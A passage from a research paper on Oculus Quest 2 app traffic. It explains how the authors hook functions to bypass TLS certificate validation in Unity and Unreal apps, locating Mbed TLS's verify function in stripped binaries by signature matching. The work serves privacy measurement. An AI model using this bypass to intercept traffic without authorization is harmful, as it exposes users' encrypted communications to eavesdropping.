libraries. These hooks change the return value of the inter-
cepted functions and set certain flags used to determine the
validity of a certificate to ensure that AntMonitor’s certificate
is always trusted. While bypassing certificate validation in
the standard Android library is a widely known technique [9],
bypassing validation in Unity and Unreal SDKs is not. Thus,
we developed the following technique.

Decrypting Unity and Unreal. Since most Quest 2 apps
are developed using either the Unity or the Unreal game en-
gines, they use the certificate validation functions provided
by these engines instead of the ones in the standard Android
library. Below, we present our implementation of certificate
validation bypassing for each engine.

For Unity, we discovered that the main function that
is responsible for checking the validity of certificates
is mbedtls_x509_crt_verify_with_profile() in the
Mbed TLS library, by inspecting its source code [6]. This
library is used by the Unity framework as part of its SDK.
Although Unity apps and its SDK are written in C#, the final
Unity library is a C++ binary. When a Unity app is pack-
aged for release, unused APIs and debugging symbols get
removed from the Unity library’s binary. This process makes
it difficult to hook into Unity’s functions since we cannot
locate the address of a function of interest without having
the symbol table to look up its address. Furthermore, since
the binary also gets stripped of unused functions, we can-
not rely on the debug versions of the binary to look up ad-
dresses because each app will have a different number of
APIs included. To address this challenge, OVRSEEN auto-
matically analyzes the debug versions of the non-stripped
Unity binaries (provided by the Unity engine), extracts
the function signature (i.e., a set of hexadecimal numbers)
of mbedtls_x509_crt_verify_with_profile(), and then
looks for this signature in the stripped version of the binary
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